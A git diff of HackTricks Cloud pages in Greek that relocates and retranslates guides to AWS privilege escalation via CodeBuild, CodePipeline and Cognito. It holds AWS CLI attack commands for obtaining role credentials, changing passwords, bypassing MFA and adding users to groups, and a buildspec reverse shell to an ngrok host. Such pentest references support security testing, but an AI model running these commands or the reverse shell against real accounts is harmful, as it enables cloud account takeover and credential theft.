ένα έργο Codebuild** που κατασκευάζεται. +Έχοντας **enough permissions to start a ssm session** είναι δυνατόν να μπεις **inside a Codebuild project** που βρίσκεται υπό κατασκευή. -Το έργο codebuild θα χρειαστεί να έχει ένα σημείο διακοπής: +Το Codebuild project θα χρειαστεί να έχει ένα breakpoint:
phases:
 pre_build:
@@ -314,18 +314,18 @@ commands:
       - codebuild-breakpoint
 
-Και στη συνέχεια: +Και μετά: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -Για περισσότερες πληροφορίες [**ελέγξτε τα έγγραφα**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Ένας επιτιθέμενος που μπορεί να ξεκινήσει/επανεκκινήσει μια κατασκευή ενός συγκεκριμένου έργου CodeBuild που αποθηκεύει το αρχείο `buildspec.yml` σε ένα S3 bucket στο οποίο έχει δικαίωμα εγγραφής, μπορεί να αποκτήσει εκτέλεση εντολών στη διαδικασία CodeBuild. +Ένας attacker που μπορεί να ξεκινήσει/επανεκκινήσει ένα build ενός συγκεκριμένου CodeBuild project, το οποίο αποθηκεύει το αρχείο `buildspec.yml` σε ένα S3 bucket στο οποίο ο attacker έχει δικαίωμα εγγραφής, μπορεί να αποκτήσει εκτέλεση εντολών στη διεργασία του CodeBuild. -Σημείωση: η κλιμάκωση είναι σχετική μόνο αν ο εργαζόμενος CodeBuild έχει διαφορετικό ρόλο, ελπίζουμε πιο προνομιούχο, από αυτόν του επιτιθέμενου. +Σημείωση: η κλιμάκωση είναι σχετική μόνο αν ο CodeBuild worker έχει διαφορετικό ρόλο, κατά προτίμηση με περισσότερα προνόμια, από αυτόν του attacker. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -351,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Impact:** Άμεση εκμετάλλευση δικαιωμάτων στον ρόλο που χρησιμοποιείται από τον AWS CodeBuild worker που συνήθως έχει υψηλά δικαιώματα. +**Επίπτωση:** Άμεσο privesc στο role που χρησιμοποιείται από τον AWS CodeBuild worker και που συνήθως διαθέτει υψηλά προνόμια. > [!WARNING] -> Σημειώστε ότι το buildspec θα μπορούσε να αναμένεται σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαστεί να κατεβάσει, να αποσυμπιέσει, να τροποποιήσει το `buildspec.yml` από τον ριζικό κατάλογο, να συμπιέσει ξανά και να ανεβάσει. +> Λάβετε υπόψη ότι το buildspec μπορεί να είναι σε μορφή zip, οπότε ένας επιτιθέμενος θα χρειαστεί να κατεβάσει, αποσυμπιέσει, τροποποιήσει το `buildspec.yml` από τον root κατάλογο, να το ξανα-zipάρει και να το ανεβάσει -Περισσότερες λεπτομέρειες μπορούν να βρεθούν [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Άμεση εκμετάλλευση δικαιωμάτων στους συνημμένους ρόλους AWS Codebuild. +**Πιθανός Αντίκτυπος:** Άμεσο privesc στα συνδεδεμένα AWS Codebuild roles. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md deleted file mode 100644 index 1ed6b97dd..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - Codepipeline Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## codepipeline - -Για περισσότερες πληροφορίες σχετικά με το codepipeline, ελέγξτε: - -{{#ref}} -../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md -{{#endref}} - -### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` - -Όταν δημιουργείτε μια pipeline κώδικα, μπορείτε να υποδείξετε έναν **ρόλο IAM codepipeline για εκτέλεση**, επομένως θα μπορούσατε να τους παραβιάσετε. - -Εκτός από τις προηγούμενες άδειες, θα χρειαστείτε **πρόσβαση στον τόπο όπου αποθηκεύεται ο κώδικας** (S3, ECR, github, bitbucket...) - -Δοκίμασα αυτή τη διαδικασία στην ιστοσελίδα, οι άδειες που αναφέρθηκαν προηγουμένως δεν είναι οι List/Get που απαιτούνται για τη δημιουργία μιας codepipeline, αλλά για να την δημιουργήσετε στο web θα χρειαστείτε επίσης: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` - -Κατά τη **δημιουργία του έργου κατασκευής**, μπορείτε να υποδείξετε μια **εντολή για εκτέλεση** (rev shell?) και να εκτελέσετε τη φάση κατασκευής ως **privileged user**, αυτή είναι η ρύθμιση που χρειάζεται ο επιτιθέμενος για να παραβιάσει: - -![](<../../../images/image (276).png>) - -![](<../../../images/image (181).png>) - -### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` - -Ενδέχεται να είναι δυνατή η τροποποίηση του ρόλου που χρησιμοποιείται και της εντολής που εκτελείται σε μια codepipeline με τις προηγούμενες άδειες. - -### `codepipeline:pollforjobs` - -[AWS αναφέρει](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): - -> Όταν καλείται αυτή η API, το CodePipeline **επιστρέφει προσωρινές διαπιστευτήρια για τον κάδο S3** που χρησιμοποιείται για την αποθήκευση των αντικειμένων για την pipeline, εάν η ενέργεια απαιτεί πρόσβαση σε αυτόν τον κάδο S3 για εισροές ή εκροές αντικειμένων. Αυτή η API επίσης **επιστρέφει οποιεσδήποτε μυστικές τιμές έχουν οριστεί για την ενέργεια**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md new file mode 100644 index 000000000..89dfa8a6a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md @@ -0,0 +1,37 @@ +# AWS - Codepipeline Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## codepipeline + +For more info about codepipeline check: + +{{#ref}} +../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +{{#endref}} + +### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` + +Κατά τη δημιουργία ενός code pipeline μπορείτε να δηλώσετε έναν **codepipeline IAM Role to run**, επομένως μπορείτε να τους συμβιβάσετε. + +Εκτός από τα προηγούμενα permissions θα χρειαστείτε **πρόσβαση στο μέρος όπου αποθηκεύεται ο κώδικας** (S3, ECR, github, bitbucket...) + +Το δοκίμασα κάνοντας τη διαδικασία στη web σελίδα — τα permissions που αναφέρθηκαν προηγουμένως δεν είναι τα List/Get ones που απαιτούνται για να δημιουργήσετε ένα codepipeline, αλλά για να το δημιουργήσετε μέσω web θα χρειαστείτε επίσης: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` + +Κατά τη **δημιουργία του build project** μπορείτε να καθορίσετε μια **command to run** (rev shell?) και να τρέξετε το build στάδιο ως **privileged user** — αυτή είναι η ρύθμιση που χρειάζεται ο attacker για να συμβιβάσει το περιβάλλον: + +![](<../../../images/image (276).png>) + +![](<../../../images/image (181).png>) + +### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` + +Μπορεί να είναι δυνατό να τροποποιήσετε τον role που χρησιμοποιείται και την εντολή που εκτελείται σε ένα codepipeline με τα προηγούμενα permissions. + +### `codepipeline:pollforjobs` + +[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): + +> Όταν καλείται αυτό το API, το CodePipeline **επιστρέφει προσωρινά διαπιστευτήρια για το S3 bucket** που χρησιμοποιείται για την αποθήκευση artifacts για το pipeline, εάν η δράση απαιτεί πρόσβαση σε αυτό το S3 bucket για input ή output artifacts. Αυτό το API επίσης **επιστρέφει οποιεσδήποτε μυστικές τιμές ορίζονται για τη δράση**. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md deleted file mode 100644 index e9ad29361..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ /dev/null @@ -1,274 +0,0 @@ -# AWS - Cognito Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito - -Για περισσότερες πληροφορίες σχετικά με το Cognito, ελέγξτε: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Συλλογή διαπιστευτηρίων από Identity Pool - -Καθώς το Cognito μπορεί να παρέχει **διαπιστευτήρια ρόλου IAM** τόσο σε **πιστοποιημένους** όσο και σε **μη πιστοποιημένους** **χρήστες**, αν εντοπίσετε το **Identity Pool ID** μιας εφαρμογής (θα πρέπει να είναι σκληρά κωδικοποιημένο σε αυτήν), μπορείτε να αποκτήσετε νέα διαπιστευτήρια και επομένως privesc (μέσα σε έναν λογαριασμό AWS όπου πιθανώς δεν είχατε κανένα διαπιστευτήριο προηγουμένως). - -Για περισσότερες πληροφορίες [**ελέγξτε αυτή τη σελίδα**](../aws-unauthenticated-enum-access/#cognito). - -**Πιθανές Επιπτώσεις:** Άμεσο privesc στους ρόλους υπηρεσιών που συνδέονται με μη πιστοποιημένους χρήστες (και πιθανώς με αυτούς που συνδέονται με πιστοποιημένους χρήστες). - -### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` - -Με αυτήν την άδεια μπορείτε να **παρέχετε οποιονδήποτε ρόλο cognito** στους πιστοποιημένους/μη πιστοποιημένους χρήστες της εφαρμογής cognito. -```bash -aws cognito-identity set-identity-pool-roles \ ---identity-pool-id \ ---roles unauthenticated= - -# Get credentials -## Get one ID -aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" -## Get creds for that id -aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" -``` -Αν η εφαρμογή cognito **δεν έχει ενεργοποιημένους τους μη αυθεντικοποιημένους χρήστες**, μπορεί να χρειαστείτε επίσης την άδεια `cognito-identity:UpdateIdentityPool` για να την ενεργοποιήσετε. - -**Πιθανές Επιπτώσεις:** Άμεση privesc σε οποιονδήποτε ρόλο cognito. - -### `cognito-identity:update-identity-pool` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να ρυθμίσει για παράδειγμα μια Cognito User Pool υπό τον έλεγχό του ή οποιονδήποτε άλλο πάροχο ταυτότητας όπου μπορεί να συνδεθεί ως **τρόπος πρόσβασης σε αυτή την Cognito Identity Pool**. Στη συνέχεια, απλά **συνδεόμενος** σε αυτόν τον πάροχο χρηστών θα **του επιτρέψει να έχει πρόσβαση στον ρυθμισμένο αυθεντικοποιημένο ρόλο στην Identity Pool**. -```bash -# This example is using a Cognito User Pool as identity provider -## but you could use any other identity provider -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ -[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ ---cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false - -# Now you need to login to the User Pool you have configured -## after having the id token of the login continue with the following commands: - -# In this step you should have already an ID Token -aws cognito-identity get-id \ ---identity-pool-id \ ---logins cognito-idp..amazonaws.com/= - -# Get the identity_id from thr previous commnad response -aws cognito-identity get-credentials-for-identity \ ---identity-id \ ---logins cognito-idp..amazonaws.com/= -``` -Είναι επίσης δυνατό να **καταχραστεί αυτή η άδεια για να επιτραπεί η βασική αυθεντικοποίηση**: -```bash -aws cognito-identity update-identity-pool \ ---identity-pool-id \ ---identity-pool-name \ ---allow-unauthenticated-identities ---allow-classic-flow -``` -**Πιθανές Επιπτώσεις**: Συμβιβασμός του διαμορφωμένου αυθεντικοποιημένου IAM ρόλου μέσα στην πισίνα ταυτότητας. - -### `cognito-idp:AdminAddUserToGroup` - -Αυτή η άδεια επιτρέπει να **προσθέσετε έναν χρήστη Cognito σε μια ομάδα Cognito**, επομένως ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια για να προσθέσει έναν χρήστη υπό τον έλεγχό του σε άλλες ομάδες με **καλύτερες** προνόμια ή **διαφορετικούς IAM ρόλους**: -```bash -aws cognito-idp admin-add-user-to-group \ ---user-pool-id \ ---username \ ---group-name -``` -**Πιθανές Επιπτώσεις:** Privesc σε άλλες ομάδες Cognito και IAM ρόλους που συνδέονται με τις Ομάδες User Pool. - -### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` - -Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε **να δημιουργήσει/ενημερώσει ομάδες** με **κάθε IAM ρόλο που μπορεί να χρησιμοποιηθεί από έναν συμβιβασμένο Cognito Identity Provider** και να κάνει έναν συμβιβασμένο χρήστη μέρος της ομάδας, αποκτώντας πρόσβαση σε όλους αυτούς τους ρόλους: -```bash -aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn -``` -**Πιθανές Επιπτώσεις:** Privesc σε άλλους ρόλους IAM του Cognito. - -### `cognito-idp:AdminConfirmSignUp` - -Αυτή η άδεια επιτρέπει να **επιβεβαιωθεί μια εγγραφή**. Από προεπιλογή, οποιοσδήποτε μπορεί να συνδεθεί σε εφαρμογές Cognito, αν αυτό αφεθεί, ένας χρήστης θα μπορούσε να δημιουργήσει έναν λογαριασμό με οποιαδήποτε δεδομένα και να τον επιβεβαιώσει με αυτή την άδεια. -```bash -aws cognito-idp admin-confirm-sign-up \ ---user-pool-id \ ---username -``` -**Πιθανές Επιπτώσεις:** Έμμεση εκμετάλλευση δικαιωμάτων στην IAM ρόλο της πιστοποίησης χρηστών αν μπορείτε να εγγραφείτε ως νέος χρήστης. Έμμεση εκμετάλλευση δικαιωμάτων σε άλλες λειτουργίες της εφαρμογής, έχοντας τη δυνατότητα να επιβεβαιώσετε οποιονδήποτε λογαριασμό. - -### `cognito-idp:AdminCreateUser` - -Αυτή η άδεια θα επέτρεπε σε έναν επιτιθέμενο να δημιουργήσει έναν νέο χρήστη μέσα στην πισίνα χρηστών. Ο νέος χρήστης δημιουργείται ως ενεργός, αλλά θα χρειαστεί να αλλάξει τον κωδικό του. -```bash -aws cognito-idp admin-create-user \ ---user-pool-id \ ---username \ -[--user-attributes ] ([Name=email,Value=email@gmail.com]) -[--validation-data ] -[--temporary-password ] -``` -**Πιθανές Επιπτώσεις:** Άμεση privesc στον ρόλο IAM της πιστοποίησης ταυτότητας για αυθεντικοποιημένους χρήστες. Έμμεση privesc σε άλλες λειτουργίες της εφαρμογής που επιτρέπουν τη δημιουργία οποιουδήποτε χρήστη. - -### `cognito-idp:AdminEnableUser` - -Αυτές οι άδειες μπορούν να βοηθήσουν σε μια πολύ ακραία περίπτωση όπου ένας επιτιθέμενος βρήκε τα διαπιστευτήρια ενός απενεργοποιημένου χρήστη και χρειάζεται να **τον ενεργοποιήσει ξανά**. -```bash -aws cognito-idp admin-enable-user \ ---user-pool-id \ ---username -``` -**Πιθανές Επιπτώσεις:** Έμμεση εκμετάλλευση των δικαιωμάτων IAM της πισίνας ταυτοτήτων για αυθεντικοποιημένους χρήστες και δικαιώματα του χρήστη αν ο επιτιθέμενος είχε διαπιστευτήρια για έναν απενεργοποιημένο χρήστη. - -### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** - -Αυτή η άδεια επιτρέπει την είσοδο με τη [**μέθοδο ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Για περισσότερες πληροφορίες ακολουθήστε τον σύνδεσμο. - -### `cognito-idp:AdminSetUserPassword` - -Αυτή η άδεια θα επέτρεπε σε έναν επιτιθέμενο να **αλλάξει τον κωδικό πρόσβασης οποιουδήποτε χρήστη**, καθιστώντας τον ικανό να προσποιηθεί οποιονδήποτε χρήστη (που δεν έχει ενεργοποιημένο MFA). -```bash -aws cognito-idp admin-set-user-password \ ---user-pool-id \ ---username \ ---password \ ---permanent -``` -**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε οποιονδήποτε χρήστη, έτσι ώστε να έχει πρόσβαση σε όλες τις ομάδες στις οποίες είναι μέλος κάθε χρήστης και πρόσβαση στον ρόλο IAM που πιστοποιείται από την Identity Pool. - -### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` - -**AdminSetUserSettings**: Ένας επιτιθέμενος θα μπορούσε ενδεχομένως να εκμεταλλευτεί αυτή την άδεια για να ορίσει ένα κινητό τηλέφωνο υπό τον έλεγχό του ως **SMS MFA ενός χρήστη**. -```bash -aws cognito-idp admin-set-user-settings \ ---user-pool-id \ ---username \ ---mfa-options -``` -**SetUserMFAPreference:** Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ρυθμίσει τις προτιμήσεις MFA ενός χρήστη για να παρακάμψει την προστασία MFA. -```bash -aws cognito-idp admin-set-user-mfa-preference \ -[--sms-mfa-settings ] \ -[--software-token-mfa-settings ] \ ---username \ ---user-pool-id -``` -**SetUserPoolMfaConfig**: Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ρυθμίσει τις προτιμήσεις MFA μιας ομάδας χρηστών για να παρακάμψει την προστασία MFA. -```bash -aws cognito-idp set-user-pool-mfa-config \ ---user-pool-id \ -[--sms-mfa-configuration ] \ -[--software-token-mfa-configuration ] \ -[--mfa-configuration ] -``` -**UpdateUserPool:** Είναι επίσης δυνατό να ενημερώσετε την πισίνα χρηστών για να αλλάξετε την πολιτική MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Έμμεση privesc σε οποιονδήποτε χρήστη γνωρίζει τα διαπιστευτήρια του επιτιθέμενου, αυτό θα μπορούσε να επιτρέψει την παράκαμψη της προστασίας MFA. - -### `cognito-idp:AdminUpdateUserAttributes` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να αλλάξει το email ή τον αριθμό τηλεφώνου ή οποιοδήποτε άλλο χαρακτηριστικό ενός χρήστη υπό τον έλεγχό του για να προσπαθήσει να αποκτήσει περισσότερα προνόμια σε μια υποκείμενη εφαρμογή.\ -Αυτό επιτρέπει την αλλαγή ενός email ή αριθμού τηλεφώνου και την ρύθμισή του ως επαληθευμένο. -```bash -aws cognito-idp admin-update-user-attributes \ ---user-pool-id \ ---username \ ---user-attributes -``` -**Πιθανές Επιπτώσεις:** Πιθανή έμμεση εκμετάλλευση δικαιωμάτων στην υποκείμενη εφαρμογή που χρησιμοποιεί το Cognito User Pool και παρέχει δικαιώματα με βάση τα χαρακτηριστικά του χρήστη. - -### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε **να δημιουργήσει έναν νέο User Pool Client λιγότερο περιορισμένο** από τους ήδη υπάρχοντες pool clients. Για παράδειγμα, ο νέος client θα μπορούσε να επιτρέπει οποιοδήποτε είδος μεθόδου για αυθεντικοποίηση, να μην έχει κανένα μυστικό, να έχει απενεργοποιημένη την ανάκληση token, να επιτρέπει τα tokens να είναι έγκυρα για μεγαλύτερο χρονικό διάστημα... - -Το ίδιο μπορεί να γίνει αν αντί να δημιουργηθεί ένας νέος client, **τροποποιηθεί ένας υπάρχων**. - -Στη [**γραμμή εντολών**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ή στην [**ενημέρωση**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) μπορείτε να δείτε όλες τις επιλογές, ελέγξτε το! -```bash -aws cognito-idp create-user-pool-client \ ---user-pool-id \ ---client-name \ -[...] -``` -**Πιθανές Επιπτώσεις:** Πιθανή έμμεση εκμετάλλευση δικαιωμάτων στον εξουσιοδοτημένο χρήστη της Identity Pool που χρησιμοποιείται από την User Pool δημιουργώντας έναν νέο πελάτη που χαλαρώνει τα μέτρα ασφαλείας και καθιστά δυνατό σε έναν επιτιθέμενο να συνδεθεί με έναν χρήστη που κατάφερε να δημιουργήσει. - -### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` - -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την άδεια για να δημιουργήσει χρήστες ανεβάζοντας ένα csv με νέους χρήστες. -```bash -# Create a new import job -aws cognito-idp create-user-import-job \ ---job-name \ ---user-pool-id \ ---cloud-watch-logs-role-arn - -# Use a new import job -aws cognito-idp start-user-import-job \ ---user-pool-id \ ---job-id - -# Both options before will give you a URL where you can send the CVS file with the users to create -curl -v -T "PATH_TO_CSV_FILE" \ --H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" -``` -(Στην περίπτωση που δημιουργήσετε μια νέα εργασία εισαγωγής, μπορεί επίσης να χρειαστείτε την άδεια iam passrole, δεν το έχω δοκιμάσει ακόμα). - -**Πιθανές Επιπτώσεις:** Άμεση privesc στον ρόλο IAM της πιστοποίησης ταυτότητας για τους αυθεντικοποιημένους χρήστες. Έμμεση privesc σε άλλες λειτουργίες της εφαρμογής που επιτρέπουν τη δημιουργία οποιουδήποτε χρήστη. - -### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` - -Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει έναν νέο πάροχο ταυτότητας για να μπορέσει στη συνέχεια να **συνδεθεί μέσω αυτού του παρόχου**. -```bash -aws cognito-idp create-identity-provider \ ---user-pool-id \ ---provider-name \ ---provider-type \ ---provider-details \ -[--attribute-mapping ] \ -[--idp-identifiers ] -``` -**Πιθανές Επιπτώσεις:** Άμεση privesc στον ρόλο IAM της πισίνας ταυτοτήτων για αυθεντικοποιημένους χρήστες. Έμμεση privesc σε άλλες λειτουργίες της εφαρμογής που επιτρέπουν τη δημιουργία οποιουδήποτε χρήστη. - -### cognito-sync:\* Ανάλυση - -Αυτή είναι μια πολύ κοινή άδεια από προεπιλογή στους ρόλους των Cognito Identity Pools. Ακόμα και αν ένα wildcard σε άδειες φαίνεται πάντα κακό (ειδικά από την AWS), οι **δοθείσες άδειες δεν είναι πολύ χρήσιμες από την οπτική γωνία ενός επιτιθέμενου**. - -Αυτή η άδεια επιτρέπει την ανάγνωση πληροφοριών χρήσης των Identity Pools και των Identity IDs μέσα στις Identity Pools (που δεν είναι ευαίσθητες πληροφορίες).\ -Τα Identity IDs μπορεί να έχουν [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) που τους έχουν ανατεθεί, οι οποίες είναι πληροφορίες των συνεδριών (η AWS το ορίζει ως **αποθηκευμένο παιχνίδι**). Είναι πιθανό αυτό να περιέχει κάποια ευαίσθητη πληροφορία (αλλά η πιθανότητα είναι αρκετά χαμηλή). Μπορείτε να βρείτε στη [**σελίδα αρίθμησης**](../aws-services/aws-cognito-enum/) πώς να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες. - -Ένας επιτιθέμενος θα μπορούσε επίσης να χρησιμοποιήσει αυτές τις άδειες για να **εγγραφεί σε ένα ρεύμα Cognito που δημοσιεύει αλλαγές** σε αυτά τα datasets ή σε μια **lambda που ενεργοποιείται σε γεγονότα cognito**. Δεν έχω δει αυτό να χρησιμοποιείται, και δεν θα περίμενα ευαίσθητες πληροφορίες εδώ, αλλά δεν είναι αδύνατο. - -### Αυτόματα Εργαλεία - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), το πλαίσιο εκμετάλλευσης AWS, περιλαμβάνει τώρα τα modules "cognito\_\_enum" και "cognito\_\_attack" που αυτοματοποιούν την αρίθμηση όλων των περιουσιακών στοιχείων Cognito σε έναν λογαριασμό και επισημαίνουν αδύναμες ρυθμίσεις, χαρακτηριστικά χρηστών που χρησιμοποιούνται για έλεγχο πρόσβασης, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρηστών (συμπεριλαμβανομένης της υποστήριξης MFA) και την κλιμάκωση προνομίων με βάση τροποποιήσιμα προσαρμοσμένα χαρακτηριστικά, χρησιμοποιήσιμα διαπιστευτήρια πισίνας ταυτοτήτων, ρόλους που μπορούν να αναληφθούν σε id tokens, κ.λπ. - -Για περιγραφή των λειτουργιών των modules δείτε το μέρος 2 της [ανάρτησης στο blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Για οδηγίες εγκατάστασης δείτε τη κύρια σελίδα [Pacu](https://github.com/RhinoSecurityLabs/pacu). - -#### Χρήση - -Δείγμα χρήσης cognito\_\_attack για να προσπαθήσετε να δημιουργήσετε χρήστη και όλους τους privesc δείκτες κατά μιας δεδομένης πισίνας ταυτοτήτων και πελάτη πισίνας χρηστών: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Δείγμα χρήσης cognito\_\_enum για τη συλλογή όλων των πισινών χρηστών, πελατών πισινών χρηστών, πισινών ταυτοτήτων, χρηστών κ.λπ. που είναι ορατές στον τρέχοντα λογαριασμό AWS: -```bash -Pacu (new:test) > run cognito__enum -``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) είναι ένα εργαλείο CLI σε python που υλοποιεί διάφορες επιθέσεις στο Cognito, συμπεριλαμβανομένης μιας κλιμάκωσης δικαιωμάτων. - -#### Εγκατάσταση -```bash -$ pip install cognito-scanner -``` -#### Χρήση -```bash -$ cognito-scanner --help -``` -Για περισσότερες πληροφορίες ελέγξτε [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md new file mode 100644 index 000000000..f71676af2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md @@ -0,0 +1,274 @@ +# AWS - Cognito Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Cognito + +Για περισσότερες πληροφορίες σχετικά με το Cognito δείτε: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Συλλογή credentials από Identity Pool + +Εφόσον το Cognito μπορεί να εκδώσει **IAM role credentials** τόσο σε **authenticated** όσο και σε **unauthenticated** **users**, αν εντοπίσετε το **Identity Pool ID** μιας εφαρμογής (συνήθως είναι hardcoded σε αυτή) μπορείτε να αποκτήσετε νέα credentials και επομένως privesc (μέσα σε έναν AWS account όπου πιθανόν να μην είχατε προηγουμένως κανένα credential). + +For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito). + +**Potential Impact:** Άμεση privesc στο services role attached στους unauth users (και πιθανώς σε αυτό που είναι attached στους auth users). + +### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` + +Με αυτή την άδεια μπορείτε να **παραχωρήσετε οποιοδήποτε cognito role** στους authenticated/unauthenticated users της cognito app. +```bash +aws cognito-identity set-identity-pool-roles \ +--identity-pool-id \ +--roles unauthenticated= + +# Get credentials +## Get one ID +aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367" +## Get creds for that id +aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" +``` +Εάν η εφαρμογή cognito **δεν έχει ενεργοποιημένους ανώνυμους χρήστες** μπορεί επίσης να χρειαστείς την άδεια `cognito-identity:UpdateIdentityPool` για να την ενεργοποιήσεις. + +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε cognito ρόλο. + +### `cognito-identity:update-identity-pool` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε, για παράδειγμα, να ρυθμίσει ένα Cognito User Pool υπό τον έλεγχό του ή οποιονδήποτε other identity provider όπου μπορεί να κάνει login ως **τρόπος πρόσβασης σε αυτό το Cognito Identity Pool**. Στη συνέχεια, απλώς το **login** σε αυτόν τον identity provider θα **του επιτρέψει να αποκτήσει πρόσβαση στον ρυθμισμένο authenticated role στο Identity Pool**. +```bash +# This example is using a Cognito User Pool as identity provider +## but you could use any other identity provider +aws cognito-identity update-identity-pool \ +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers 